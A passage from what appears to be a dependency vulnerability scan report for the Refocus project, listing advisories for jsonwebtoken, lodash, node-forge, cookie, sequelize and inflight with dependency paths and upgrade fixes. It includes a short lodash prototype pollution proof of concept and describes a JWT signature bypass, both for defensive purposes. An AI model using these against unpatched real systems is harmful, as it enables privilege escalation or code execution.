For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json5 to version 1.0.2, 2.2.2 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: jsonwebtoken
  • Introduced through: jsonwebtoken@5.7.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsonwebtoken@5.7.0
    Remediation: Upgrade to jsonwebtoken@9.0.0.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Exploitability

Users are affected only if all of the following conditions are true for the jwt.verify() function:

  1. A token with no signature is received.

  2. No algorithms are specified.

  3. A falsy (e.g., null, false, undefined) secret or key is passed.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

  • Vulnerable module: cookie
  • Introduced through: socket.io@2.5.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af socket.io@2.5.1 engine.io@3.6.2 cookie@0.4.2
    Remediation: Upgrade to socket.io@4.8.0.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
    Remediation: Open PR to patch lodash@3.10.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
    Remediation: Open PR to patch lodash@3.10.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
    Remediation: Open PR to patch lodash@3.10.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@3.2.1.

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Prototype Pollution via the forge.debug API if called with untrusted input.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade node-forge to version 1.0.0 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.8.12

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: npm@6.14.18, browserify@13.3.0 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af browserify@13.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af shelljs@0.7.8 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 glob@5.0.15 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 vow-fs@0.3.6 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 stylus@0.54.8 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 read-package-json@2.1.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 init-package-json@1.10.3 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 node-gyp@5.1.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 fs-vacuum@1.2.10 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 node-gyp@5.1.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpx@10.2.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 init-package-json@1.10.3 read-package-json@2.1.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 read-package-json@2.1.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 read-package-json@2.1.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 read-installed@4.0.3 read-package-json@2.1.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 read-package-tree@5.3.1 read-package-json@2.1.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 lock-verify@2.2.2 @iarna/cli@2.2.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5 node-gyp@5.1.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 nib@1.1.2 stylus@0.54.5 glob@7.0.6 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 prompt@0.2.14 utile@0.2.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 gentle-fs@2.3.1 fs-vacuum@1.2.10 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5 node-gyp@5.1.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 lock-verify@2.2.2 @iarna/cli@2.2.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 lock-verify@2.2.2 @iarna/cli@2.2.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5 node-gyp@5.1.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5 node-gyp@5.1.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 bin-links@1.1.8 gentle-fs@2.3.1 fs-vacuum@1.2.10 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5 node-gyp@5.1.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5 node-gyp@5.1.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 bin-links@1.1.8 gentle-fs@2.3.1 fs-vacuum@1.2.10 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 bin-links@1.1.8 gentle-fs@2.3.1 fs-vacuum@1.2.10 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
